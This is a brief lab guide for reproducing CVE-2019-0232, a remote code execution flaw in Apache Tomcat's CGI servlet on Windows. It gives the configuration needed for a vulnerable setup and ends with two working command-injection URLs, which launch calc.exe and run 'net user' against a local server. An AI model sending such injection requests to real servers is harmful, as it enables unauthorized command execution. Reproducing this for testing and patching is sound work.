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CVE-2019-0232

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Apache Tomcat Remote Code Execution on Windows

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#### Vulnerability Environment
```
Tomcat 8.5.39

Jdk 8u121
```

#### Edit `web.xml` file 
```
<servlet>
        <servlet-name>cgi</servlet-name>
        <servlet-class>org.apache.catalina.servlets.CGIServlet</servlet-class>
        <init-param>
          <param-name>debug</param-name>
          <param-value>0</param-value>
        </init-param>
        <init-param>
          <param-name>cgiPathPrefix</param-name>
          <param-value>WEB-INF/cgi-bin</param-value>
        </init-param>
        <init-param>
          <param-name>executable</param-name>
          <param-value></param-value>
        </init-param>
         <load-on-startup>5</load-on-startup>
</servlet>

<servlet-mapping>
        <servlet-name>cgi</servlet-name>
        <url-pattern>/cgi-bin/*</url-pattern>
    </servlet-mapping>
```

#### Edit `content.xml` file
```
<Context privileged="true">

<WatchedResource>WEB-INF/web.xml</WatchedResource>
    <WatchedResource>${catalina.base}/conf/web.xml</WatchedResource>

</Context>
```

#### Create `hello.bat` file  
```
echo Content-type: text/html     //whatever the content in batch file
```

#### Move the directory `WEB-INF` to `$CATALINA_HOME/webapps/ROOT` and then restart tomcat server

#### Send a request to the target tomcat server with Windows OS command injection
```
http://localhost:8080/cgi-bin/hello.bat?&C%3A%5CWindows%5CSystem32%5Ccalc.exe

http://localhost:8080/cgi-bin/hello.bat?&net+user
```

CVE-2019-0232

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